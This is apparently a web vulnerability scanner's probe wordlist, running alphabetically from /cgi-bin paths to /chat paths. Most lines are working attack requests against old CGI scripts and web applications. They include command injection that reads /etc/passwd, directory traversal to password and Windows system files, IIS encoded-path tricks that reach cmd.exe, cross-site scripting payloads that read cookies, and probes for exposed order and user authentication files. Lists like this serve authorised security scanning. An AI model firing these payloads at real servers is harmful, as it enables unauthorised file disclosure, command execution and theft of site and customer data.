/cgi-binSexcite;IFS=\"$\";/bin/cat /etc/passwd
/cgi-binSezadmin.cgi
/cgi-binSezboard.cgi
/cgi-binSezman.cgi
/cgi-binSezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|
/cgi-binSezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../../etc/passwd&distinct=1
/cgi-binSezshopper2/loadpage.cgi
/cgi-binSezshopper3/loadpage.cgi
/cgi-binSfaqmanager.cgi?toc=/etc/passwd%00
/cgi-binSfaxsurvey?cat%20/etc/passwd
/cgi-binSfilemail
/cgi-binSfilemail.pl
/cgi-binSfinger
/cgi-binSfinger.pl
/cgi-binSflexform
/cgi-binSflexform.cgi
/cgi-binSfom.cgi?file=<script>alert('Vulnerable')</script>
/cgi-binSfom/fom.cgi?cmd=<script>alert('Vulnerable')</script>&file=1&keywords=vulnerable
/cgi-binSformmail
/cgi-binSformmail.cgi
/cgi-binSformmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test
/cgi-binSformmail.pl
/cgi-binSformmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test
/cgi-binSformmail?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test
/cgi-binSfortune
/cgi-binSfoxweb.dll
/cgi-binSfoxweb.exe
/cgi-binSfpsrvadm.exe
/cgi-binSftp.pl
/cgi-binSftpsh
/cgi-binSgH.cgi
/cgi-binSgbadmin.cgi?action=change_adminpass
/cgi-binSgbadmin.cgi?action=change_automail
/cgi-binSgbadmin.cgi?action=colors
/cgi-binSgbadmin.cgi?action=setup
/cgi-binSgbook/gbook.cgi?_MAILTO=xx;ls
/cgi-binSgbpass.pl
/cgi-binSgenerate.cgi?content=../../../../../../../../../../etc/passwd%00board=board_1
/cgi-binSgenerate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1
/cgi-binSgenerate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1
/cgi-binSget32.exe
/cgi-binSgetdoc.cgi
/cgi-binSgettransbitmap
/cgi-binSglimpse
/cgi-binSgm-authors.cgi
/cgi-binSgm-cplog.cgi
/cgi-binSgm.cgi
/cgi-binSguestbook.cgi
/cgi-binSguestbook.cgi?user=cpanel&template=|/bin/cat%20/etc/passwd|
/cgi-binSguestbook.pl
/cgi-binSguestbook/passwd
/cgi-binShandler.cgi
/cgi-binShello.bat?&dir+c:\
/cgi-binShitview.cgi
/cgi-binShorde/test.php
/cgi-binShorde/test.php?mode=phpinfo
/cgi-binShpnst.exe?c=p+i=SrvSystemInfo.html
/cgi-binShsx.cgi?show=../../../../../../../../../../../etc/passwd%00
/cgi-binShtgrep?file=index.html&hdr=/etc/passwd
/cgi-binShtimage.exe
/cgi-binShtimage.exe/path/filename?2,2
/cgi-binShtml2chtml.cgi
/cgi-binShtml2wml.cgi
/cgi-binShtmlscript?../../../../../../../../../../etc/passwd
/cgi-binShtsearch.cgi?words=%22%3E%3Cscript%3Ealert%'Vulnerable'%29%3B%3C%2Fscript%3E
/cgi-binShtsearch?-c/nonexistant
/cgi-binShtsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=
/cgi-binShtsearch?exclude=%60/etc/passwd%60
/cgi-binSibill.pm
/cgi-binSicat
/cgi-binSif/admin/nph-build.cgi
/cgi-binSikonboard/help.cgi?
/cgi-binSimageFolio.cgi
/cgi-binSimagefolio/admin/admin.cgi
/cgi-binSimagemap
/cgi-binSimagemap.exe
/cgi-binSinclude/new-visitor.inc.php
/cgi-binSindex.js0x70
/cgi-binSindex.pl
/cgi-binSinfo2www
/cgi-binSinfo2www '(../../../../../../../bin/mail root </etc/passwd>
/cgi-binSinfosrch.cgi
/cgi-binSinput.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
/cgi-binSinput2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
/cgi-binSion-p.exe?page=c:\winnt\repair\sam
/cgi-binSion-p?page=../../../../../etc/passwd
/cgi-binSjailshell
/cgi-binSjj
/cgi-binSjournal.cgi?folder=journal.cgi%00
/cgi-binSksh
/cgi-binSlastlines.cgi?process
/cgi-binSlistrec.pl
/cgi-binSloadpage.cgi?user_id=1&file=../../../../../../../../../../etc/passwd
/cgi-binSloadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
/cgi-binSlog-reader.cgi
/cgi-binSlog/
/cgi-binSlog/nether-log.pl?checkit
/cgi-binSlogin.cgi
/cgi-binSlogin.pl
/cgi-binSlogin.pl?course_id=\">&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;
/cgi-binSlogit.cgi
/cgi-binSlogs.pl
/cgi-binSlogs/
/cgi-binSlogs/access_log
/cgi-binSlogs/error_log
/cgi-binSlookwho.cgi
/cgi-binSls
/cgi-binSlwgate
/cgi-binSlwgate.cgi
/cgi-binSmagiccard.cgi?pa=3Dpreview&amp;next=3Dcustom&amp;page=3D../../../../../../../../../../etc/passwd
/cgi-binSmail
/cgi-binSmail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSmail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00
/cgi-binSmailform.exe
/cgi-binSmailit.pl
/cgi-binSmaillist.cgi
/cgi-binSmaillist.pl
/cgi-binSmailnews.cgi
/cgi-binSmain.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../../etc/passwd
/cgi-binSmajordomo.pl
/cgi-binSman.sh
/cgi-binSman2html
/cgi-binSmastergate/search.cgi?search=0&search_on=all
/cgi-binSmeta.pl
/cgi-binSmgrqcgi
/cgi-binSmini_logger.cgi
/cgi-binSminimal.exe
/cgi-binSmkilog.exe
/cgi-binSmkplog.exe
/cgi-binSmmstdod.cgi
/cgi-binSmoin.cgi?test
/cgi-binSmojo/mojo.cgi
/cgi-binSmrtg.cfg?cfg=../../../../../../../../etc/passwd
/cgi-binSmrtg.cgi?cfg=../../../../../../../../etc/passwd
/cgi-binSmrtg.cgi?cfg=blah
/cgi-binSms_proxy_auth_query/
/cgi-binSmt-static/
/cgi-binSmt-static/mt-check.cgi
/cgi-binSmt-static/mt-load.cgi
/cgi-binSmt-static/mt.cfg
/cgi-binSmt/
/cgi-binSmt/mt-check.cgi
/cgi-binSmt/mt-load.cgi
/cgi-binSmt/mt.cfg
/cgi-binSmultihtml.pl?multi=/etc/passwd%00html
/cgi-binSmusicqueue.cgi
/cgi-binSmyguestbook.cgi?action=view
/cgi-binSnamazu.cgi
/cgi-binSncommerce3/ExecMacro/macro.d2w/%0a%0a
/cgi-binSncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK
/cgi-binSnetauth.cgi?cmd=show&page=../../../../../../../../../../etc/passwd
/cgi-binSnetpad.cgi
/cgi-binSnewsdesk.cgi?t=../../../../../../../../../../etc/passwd
/cgi-binSnimages.php
/cgi-binSnlog-smb.cgi
/cgi-binSnlog-smb.pl
/cgi-binSnon-existent.pl
/cgi-binSnoshell
/cgi-binSnph-emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSnph-error.pl
/cgi-binSnph-exploitscanget.cgi
/cgi-binSnph-maillist.pl
/cgi-binSnph-publish
/cgi-binSnph-publish.cgi
/cgi-binSnph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0
/cgi-binSnph-test-cgi
/cgi-binSntitar.pl
/cgi-binSopendir.php?/etc/passwd
/cgi-binSorders/orders.txt
/cgi-binSpagelog.cgi
/cgi-binSpals-cgi?palsAction=restart&documentName=/etc/passwd
/cgi-binSparse-file
/cgi-binSpass
/cgi-binSpasswd
/cgi-binSpasswd.txt
/cgi-binSpassword
/cgi-binSpbcgi.cgi?name=Joe%Camel&email=%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3B%3C%2FSCRIPT%3E
/cgi-binSperl
/cgi-binSperl.exe
/cgi-binSperl.exe?-v
/cgi-binSperl?-v
/cgi-binSperlshop.cgi
/cgi-binSpfdispaly.cgi?'%0A/bin/cat%20/etc/passwd|'
/cgi-binSpfdispaly.cgi?../../../../../../../../../../etc/passwd
/cgi-binSpfdisplay.cgi?'%0A/bin/cat%20/etc/passwd|'
/cgi-binSphf
/cgi-binSphf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd
/cgi-binSphf?Qname=root%0Acat%20/etc/passwd%20
/cgi-binSphoto/
/cgi-binSphoto/manage.cgi
/cgi-binSphoto/protected/manage.cgi
/cgi-binSphp-cgi
/cgi-binSphp.cgi?/etc/passwd
/cgi-binSplusmail
/cgi-binSpollit/Poll_It_SSI_v2.0.cgi?data_dir=\etc\passwd%00
/cgi-binSpollssi.cgi
/cgi-binSpost-query
/cgi-binSpost16.exe
/cgi-binSpost32.exe|dir%20c:\
/cgi-binSpost_query
/cgi-binSpostcards.cgi
/cgi-binSpowerup/r.cgi?FILE=../../../../../../../../../../etc/passwd
/cgi-binSppdscgi.exe
/cgi-binSprintenv
/cgi-binSprintenv.tmp
/cgi-binSprobecontrol.cgi?command=enable&username=cancer&password=killer
/cgi-binSprocessit.pl
/cgi-binSprofile.cgi
/cgi-binSpu3.pl
/cgi-binSpublisher/search.cgi?dir=jobs&template=;cat%20/etc/passwd|&output_number=10
/cgi-binSquery
/cgi-binSquery?mss=%2e%2e/config
/cgi-binSquickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id=
/cgi-binSquikstore.cfg
/cgi-binSquizme.cgi
/cgi-binSr.cgi?FILE=../../../../../../../../../../etc/passwd
/cgi-binSratlog.cgi
/cgi-binSredir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3C%2FSCRIPT%3E
/cgi-binSredirect
/cgi-binSregister.cgi
/cgi-binSreplicator/webpage.cgi/
/cgi-binSresponder.cgi
/cgi-binSretrieve_password.pl
/cgi-binSrguest.exe
/cgi-binSrightfax/fuwww.dll/?
/cgi-binSrksh
/cgi-binSrmp_query
/cgi-binSrobadmin.cgi
/cgi-binSrobpoll.cgi
/cgi-binSrpm_query
/cgi-binSrsh
/cgi-binSrtm.log
/cgi-binSrwcgi60
/cgi-binSrwcgi60/showenv
/cgi-binSrwwwshell.pl
/cgi-binSsawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1
/cgi-binSsawmill?rfcf+%22SawmillInfo/SawmillPassword%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3
/cgi-binSsbcgi/sitebuilder.cgi
/cgi-binSscoadminreg.cgi
/cgi-binSscripts/*%0a.pl
/cgi-binSscripts/slxweb.dll/getfile?type=Library&file=[invalid filename]
/cgi-binSsearch.cgi
/cgi-binSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini
/cgi-binSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini
/cgi-binSsearch.php?searchstring=<script>alert(document.cookie)</script>
/cgi-binSsearch.pl
/cgi-binSsearch.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=<script>alert('Vulnerable')</script>
/cgi-binSsearch.pl?form=../../../../../../../../../../etc/passwd%00
/cgi-binSsearch/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc
/cgi-binSsendform.cgi
/cgi-binSsendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message
/cgi-binSsendtemp.pl?templ=../../../../../../../../../../etc/passwd
/cgi-binSsensepost.exe?/c+dir
/cgi-binSsession/adminlogin
/cgi-binSsewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd
/cgi-binSsh
/cgi-binSshop.cgi?page=../../../../../../../etc/passwd
/cgi-binSshop.pl/page=;cat%20shop.pl|
/cgi-binSshop/auth_data/auth_user_file.txt
/cgi-binSshop/orders/orders.txt
/cgi-binSshopper.cgi?newpage=../../../../../../../../../../etc/passwd
/cgi-binSshopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd|
/cgi-binSshow.pl
/cgi-binSshowcheckins.cgi?person=<script>alert('Vulnerable')</script>
/cgi-binSshowuser.cgi
/cgi-binSshtml.dll
/cgi-binSsimple/view_page?mv_arg=|cat%20/etc/passwd|
/cgi-binSsimplestguest.cgi
/cgi-binSsimplestmail.cgi
/cgi-binSsmartsearch.cgi?keywords=|/bin/cat%20/etc/passwd|
/cgi-binSsmartsearch/smartsearch.cgi?keywords=|/bin/cat%20/etc/passwd|
/cgi-binSsojourn.cgi?cat=../../../../../../../../../../etc/password%00
/cgi-binSspin_client.cgi?aaaaaaaa
/cgi-binSss
/cgi-binSsscd_suncourier.pl
/cgi-binSssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-binSstart.cgi/%3Cscript%3Ealert('Vulnerable');%3C/script%3E
/cgi-binSstat.pl
/cgi-binSstat/
/cgi-binSstats-bin-p/reports/index.html
/cgi-binSstats.pl
/cgi-binSstats.prf
/cgi-binSstats/
/cgi-binSstats/statsbrowse.asp?filepath=c:\&Opt=3
/cgi-binSstats_old/
/cgi-binSstatsconfig
/cgi-binSstatusconfig.pl
/cgi-binSstatview.pl
/cgi-binSstore.cgi?StartID=../../../../../../../../../../etc/passwd%00.html
/cgi-binSstore/agora.cgi?cart_id=<script>alert('Vulnerable')</script>
/cgi-binSstore/agora.cgi?page=whatever33.html
/cgi-binSstore/index.cgi?page=../../../../../../../../etc/passwd
/cgi-binSstory.pl?next=../../../../../../../../../../etc/passwd%00
/cgi-binSstory/story.pl?next=../../../../../../../../../../etc/passwd%00
/cgi-binSsurvey
/cgi-binSsurvey.cgi
/cgi-binSsws/admin.html
/cgi-binSsws/manager.pl
/cgi-binStablebuild.pl
/cgi-binStalkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1
/cgi-binStcsh
/cgi-binStechnote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../../etc/passwd
/cgi-binStest-cgi.bat
/cgi-binStest-cgi.exe?<script>alert(document.cookie)</script>
/cgi-binStest-cgi.tcl
/cgi-binStest-env
/cgi-binStest.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
/cgi-binStest.cgi
/cgi-binStest/test.cgi
/cgi-binStestcgi.exe
/cgi-binStestcgi.exe?<script>alert(document.cookie)</script>
/cgi-binStexis.exe/junk
/cgi-binStexis/junk
/cgi-binStexis/phine
/cgi-binStextcounter.pl
/cgi-binStidfinder.cgi
/cgi-binStigvote.cgi
/cgi-binStitle.cgi
/cgi-binStpgnrock
/cgi-binStraffic.cgi?cfg=../../../../../../../../etc/passwd
/cgi-binStroops.cgi
/cgi-binStst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,
/cgi-binSttawebtop.cgi/?action=start&pg=../../../../../../../../../../etc/passwd
/cgi-binSultraboard.cgi
/cgi-binSultraboard.pl
/cgi-binSunlg1.1
/cgi-binSunlg1.2
/cgi-binSupdate.dpgs
/cgi-binSupload.cgi
/cgi-binSuptime
/cgi-binSurlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27Vulnerable%27%29%22%3E
/cgi-binSustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd
/cgi-binSutm/admin
/cgi-binSutm/utm_stat
/cgi-binSview-source
/cgi-binSview-source?view-source
/cgi-binSview_item?HTML_FILE=../../../../../../../../../../etc/passwd%00
/cgi-binSviewcvs.cgi/viewcvs/?cvsroot=<script>alert('Vulnerable')</script>
/cgi-binSviewcvs.cgi/viewcvs/viewcvs/?sortby=rev\"><script>alert('Vulnerable')</script>;
/cgi-binSviewlogs.pl
/cgi-binSviewsource?/etc/passwd
/cgi-binSviralator.cgi
/cgi-binSvirgil.cgi
/cgi-binSvisadmin.exe
/cgi-binSvisitor.exe
/cgi-binSvote.cgi
/cgi-binSvpasswd.cgi
/cgi-binSvq/demos/respond.pl?<script>alert('Vulnerable')</script>
/cgi-binSw3-msql
/cgi-binSw3-sql
/cgi-binSwais.pl
/cgi-binSway-board.cgi?db=/etc/passwd%00
/cgi-binSway-board/way-board.cgi?db=/etc/passwd%00
/cgi-binSwconsole.dll
/cgi-binSwebais
/cgi-binSwebbbs.cgi
/cgi-binSwebbbs.exe
/cgi-binSwebbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd
/cgi-binSwebcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20/etc/passwd|&CODE=PHOLD
/cgi-binSwebdist.cgi?distloc=;cat%20/etc/passwd
/cgi-binSwebdriver
/cgi-binSwebfind.exe?keywords=01234567890123456789
/cgi-binSwebgais
/cgi-binSwebif.cgi
/cgi-binSwebmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSwebmap.cgi
/cgi-binSwebnews.pl
/cgi-binSwebplus.exe?about
/cgi-binSwebplus?about
/cgi-binSwebplus?script=../../../../../../../../../../etc/passwd
/cgi-binSwebsendmail
/cgi-binSwebspirs.cgi?sp.nextform=../../../../../../../../../../etc/passwd
/cgi-binSwebutil.pl
/cgi-binSwebutils.pl
/cgi-binSwebwho.pl
/cgi-binSwguest.exe
/cgi-binSwhere.pl?sd=ls%20/etc
/cgi-binSwhois.cgi?action=load&whois=%3Bid
/cgi-binSwhois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd
/cgi-binSwhois/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd
/cgi-binSwhois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgi-binSwindmail
/cgi-binSwindmail.exe
/cgi-binSwrap
/cgi-binSwrap.cgi
/cgi-binSws_ftp.ini
/cgi-binSwww-sql
/cgi-binSwwwadmin.pl
/cgi-binSwwwboard.cgi.cgi
/cgi-binSwwwboard.pl
/cgi-binSwwwstats.pl
/cgi-binSwwwthreads/3tvars.pm
/cgi-binSwwwthreads/w3tvars.pm
/cgi-binSwwwwais
/cgi-binSzml.cgi?file=../../../../../../../../../../etc/passwd%00
/cgi-binSzsh
/cgi-db2/
/cgi-dos/
/cgi-dos/args.bat
/cgi-dos/args.cmd
/cgi-forte/
/cgi-forte/dump.out
/cgi-forte/fortecgi.dat
/cgi-forte/fortecgi.out
/cgi-forte/fortecgi?servicename=internalmonitor&pagename=pingcgi
/cgi-forte/webipmsg.txt
/cgi-home/
/cgi-lib/
/cgi-local/
/cgi-local/.cobalt/
/cgi-local/.cobalt/cpuUsage/loadavg.cgi
/cgi-local/.cobalt/networker/networker.cgi
/cgi-local/.cobalt/telnetUsage/telnetUsage.cgi
/cgi-local/DCShop/auth_data/auth_user_file.txt
/cgi-local/DCShop/orders/orders.txt
/cgi-local/PDG_Cart/shopper.conf
/cgi-local/admin/classes/minixml/classes/doc.inc.php
/cgi-local/admin/classes/minixml/classes/element.inc.php
/cgi-local/admin/classes/minixml/classes/node.inc.php
/cgi-local/auktion/item.pl/item.pl?item=%3Cscript%3Ealert%281184%29%3C%2Fscript%3E
/cgi-local/auktion/itemlist.pl?category=%3Cscript%3Ealert%281182%29%3C%2Fscript%3E
/cgi-local/c32web.exe/CheckError?error=53
/cgi-local/c32web.exe/ShowAdminDir
/cgi-local/campas?%0a/bin/cat%0a/etc/passwd
/cgi-local/cart.pl
/cgi-local/cart32.exe
/cgi-local/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/cgi-local/cart32.exe/error
/cgi-local/cgiemail-1.4/cgicso?query=<script>alert('Vulnerable')</script>
/cgi-local/cgiemail-1.4/cgicso?query=AAA
/cgi-local/cgiemail-1.6/cgicso?query=<script>alert('Vulnerable')</script>
/cgi-local/cgiemail-1.6/cgicso?query=AAA
/cgi-local/cgiemail/XXnonexistentXX
/cgi-local/counterfiglet/nc/f
/cgi-local/csvform.pl?file=cat%20/etc/passwd%00|
/cgi-local/faxsurvey?cat%20/etc/passwd
/cgi-local/gettransbitmap?NONEXISTENTPAGE
/cgi-local/mailfile.cgi
/cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt
/cgi-local/ndCGI.exe/
/cgi-local/orders/orders.txt
/cgi-local/pagelog.cgi
/cgi-local/replicator/webpage.cgi/313373/ukr.htm
/cgi-local/shop.pl/page=;cat%20shop.pl
/cgi-local/shop/auth_data/auth_user_file.txt
/cgi-local/shop/orders/orders.txt
/cgi-local/webplus.exe?about
/cgi-local/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/cgi-local/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgi-scripts/
/cgi-shl/
/cgi-shl/win-c-sample.exe
/cgi-shop/
/cgi-shop/1863372021
/cgi-shop/view_item?HTML_FILE=../../../../../../../../../../etc/passwd%00
/cgi-shop/view_item?HTML_FILE=../../../../../../etc/passwd%00&KEY=12345-67890
/cgi-source/
/cgi-sys
/cgi-sys/
/cgi-sys/919586092.pl
/cgi-sys/DCShop/auth_data/auth_user_file.txt
/cgi-sys/DCShop/orders/orders.txt
/cgi-sys/FormMail-clone.cgi
/cgi-sys/addalink.cgi
/cgi-sys/cart.pl
/cgi-sys/cart32.exe
/cgi-sys/cgiecho
/cgi-sys/cgiemail
/cgi-sys/countedit
/cgi-sys/domainredirect.cgi
/cgi-sys/entropybanner.cgi
/cgi-sys/entropysearch.cgi
/cgi-sys/filemail.pl
/cgi-sys/guestbook.cgi?user=cpanel&template=
/cgi-sys/helpdesk.cgi
/cgi-sys/mchat.cgi
/cgi-sys/orders/orders.txt
/cgi-sys/pagelog.cgi
/cgi-sys/randhtml.cgi
/cgi-sys/realhelpdesk.cgi
/cgi-sys/realsignup.cgi
/cgi-sys/scgiwrap
/cgi-sys/shop.pl/page=;cat%20shop.pl
/cgi-sys/shop/auth_data/auth_user_file.txt
/cgi-sys/shop/orders/orders.txt
/cgi-sys/signup.cgi
/cgi-temp/
/cgi-weddico/
/cgi-win/
/cgi-win/.cobalt/
/cgi-win/.cobalt/cpuUsage/loadavg.cgi
/cgi-win/.cobalt/networker/networker.cgi
/cgi-win/.cobalt/telnetUsage/telnetUsage.cgi
/cgi-win/912495159.exe
/cgi-win/DCShop/auth_data/auth_user_file.txt
/cgi-win/DCShop/orders/orders.txt
/cgi-win/admin/classes/minixml/classes/doc.inc.php
/cgi-win/admin/classes/minixml/classes/element.inc.php
/cgi-win/admin/classes/minixml/classes/node.inc.php
/cgi-win/c32web.exe/CheckError?error=53
/cgi-win/c32web.exe/ShowAdminDir
/cgi-win/campas?%0a/bin/cat%0a/etc/passwd
/cgi-win/cart.pl
/cgi-win/cart32.exe
/cgi-win/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/cgi-win/cart32.exe/error
/cgi-win/cgiemail/XXnonexistentXX
/cgi-win/cgitest.exe
/cgi-win/cgitest32.exe/CGI
/cgi-win/counterfiglet/nc/f
/cgi-win/csvform.pl?file=cat%20/etc/passwd%00|
/cgi-win/faxsurvey?cat%20/etc/passwd
/cgi-win/gettransbitmap?NONEXISTENTPAGE
/cgi-win/mailfile.cgi
/cgi-win/ndCGI.exe/
/cgi-win/orders/orders.txt
/cgi-win/pagelog.cgi
/cgi-win/replicator/webpage.cgi/313373/ukr.htm
/cgi-win/shop.pl/page=;cat%20shop.pl
/cgi-win/shop/auth_data/auth_user_file.txt
/cgi-win/shop/orders/orders.txt
/cgi-win/test-win.exe
/cgi-win/uploader.exe
/cgi-win/webplus.exe?about
/cgi-win/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/cgi-win/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgi/
/cgi/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/cgi/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/cgi/..%255c..%255c..%255c..%255cwinnt/system32/237531008.exe
/cgi/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/cgi/..%255c../..%255c../..%255c../winnt/system32/1195330690.exe
/cgi/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/cgi/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/357018616.exe
/cgi/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/cgi/..%e0%80%af../winnt/system32/2040733697.exe
/cgi/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/cgi/..%f0%80%80%af../winnt/system32/1082934015.exe
/cgi/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi/..%f8%80%80%80%af../winnt/system32/1853461943.exe
/cgi/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi/..%fc%80%80%80%80%af../winnt/system32/544290370.exe
/cgi/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/cgi/.cobalt/
/cgi/.cobalt/cpuUsage/loadavg.cgi
/cgi/.cobalt/networker/networker.cgi
/cgi/.cobalt/telnetUsage/telnetUsage.cgi
/cgi/1406694388.cgi
/cgi/1526181996
/cgi/974602239.pl
/cgi/DCShop/auth_data/auth_user_file.txt
/cgi/DCShop/orders/orders.txt
/cgi/PDG_Cart/order.log
/cgi/admin/classes/minixml/classes/doc.inc.php
/cgi/admin/classes/minixml/classes/element.inc.php
/cgi/admin/classes/minixml/classes/node.inc.php
/cgi/c32web.exe/CheckError?error=53
/cgi/c32web.exe/ShowAdminDir
/cgi/campas?%0a/bin/cat%0a/etc/passwd
/cgi/cart.pl
/cgi/cart32.exe
/cgi/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/cgi/cart32.exe/error
/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\windows\win.ini
/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini
/cgi/cgiemail/XXnonexistentXX
/cgi/cgiproc?
/cgi/commerce.cgi
/cgi/counterfiglet/nc/f
/cgi/csvform.pl?file=cat%20/etc/passwd%00|
/cgi/faxsurvey?cat%20/etc/passwd
/cgi/gettransbitmap?NONEXISTENTPAGE
/cgi/hints.cgi
/cgi/hints.pl
/cgi/mailfile.cgi
/cgi/ndCGI.exe/
/cgi/orders/orders.txt
/cgi/pagelog.cgi
/cgi/replicator/webpage.cgi/313373/ukr.htm
/cgi/shop.pl/page=;cat%20shop.pl
/cgi/shop/auth_data/auth_user_file.txt
/cgi/shop/orders/orders.txt
/cgi/webplus.exe?about
/cgi/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/cgi/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgi/wja
/cgibin/
/cgibin/.cobalt/
/cgibin/.cobalt/cpuUsage/loadavg.cgi
/cgibin/.cobalt/networker/networker.cgi
/cgibin/.cobalt/telnetUsage/telnetUsage.cgi
/cgibin/DCShop/auth_data/auth_user_file.txt
/cgibin/DCShop/orders/orders.txt
/cgibin/admin/classes/minixml/classes/doc.inc.php
/cgibin/admin/classes/minixml/classes/element.inc.php
/cgibin/admin/classes/minixml/classes/node.inc.php
/cgibin/c32web.exe/CheckError?error=53
/cgibin/c32web.exe/ShowAdminDir
/cgibin/campas?%0a/bin/cat%0a/etc/passwd
/cgibin/cart.pl
/cgibin/cart32.exe
/cgibin/cart32.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
/cgibin/cart32.exe/error
/cgibin/cgiemail/XXnonexistentXX
/cgibin/counterfiglet/nc/f
/cgibin/csvform.pl?file=cat%20/etc/passwd%00|
/cgibin/faxsurvey?cat%20/etc/passwd
/cgibin/gettransbitmap?NONEXISTENTPAGE
/cgibin/mailfile.cgi
/cgibin/ndCGI.exe/
/cgibin/orders/orders.txt
/cgibin/pagelog.cgi
/cgibin/replicator/webpage.cgi/313373/ukr.htm
/cgibin/shop.pl/page=;cat%20shop.pl
/cgibin/shop/auth_data/auth_user_file.txt
/cgibin/shop/orders/orders.txt
/cgibin/shopper.cgi?search=action&keywords=moron&template=order.csv
/cgibin/webplus.exe?about
/cgibin/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/cgibin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgilib/
/cgis/
/cgis/DCShop/auth_data/auth_user_file.txt
/cgis/DCShop/orders/orders.txt
/cgis/cart.pl
/cgis/cart32.exe
/cgis/orders/orders.txt
/cgis/pagelog.cgi
/cgis/shop.pl/page=;cat%20shop.pl
/cgis/shop/auth_data/auth_user_file.txt
/cgis/shop/orders/orders.txt
/cgis/wwwboard/wwwboard.cgi
/cgis/wwwboard/wwwboard.pl
/cgiscripts/
/cgishl/
/cgiwin/
/change_password.php?newpasswd1=1&newpasswd2=1&passwd=1&site=hello&userid=%27%22%3E%3Cscript%3Ealert%288766%29%3C%2Fscript%3E%22%29
/changelog.htm
/changelog.html
/changelog.txt
/changes.xml
/changs.txt
/chart/
/charting/
/charts.php?action=vote&rate=1&id=%27
/charts.php?action=vote&rate=1&id=%3Cscript%3Ealert%282642%29%3C%2Fscript%3E
/charts/
/chassis/config/GeneralChassisConfig.html
/chat.php?sid=%3Cscript%3Ealert%288998%29%3C%2Fscript%3E
/chat/!nicks.txt
/chat/!pwds.txt
/chat/171072378.php3
/chat/config/start_page.css.php3?Charset=iso-8859-1&medium=10&FontName=%3E%22%27%3E%3Cimg+src%3D&%23x6a%3B&%23x61%3B&%23x76%3B&%23x61%3B&%23x73%3B&%23x63%3B&%23x72%3B&%23x69%3B&%23x70%3B&%23x74%3B&%23x3a%3Balert%289480%29%3E
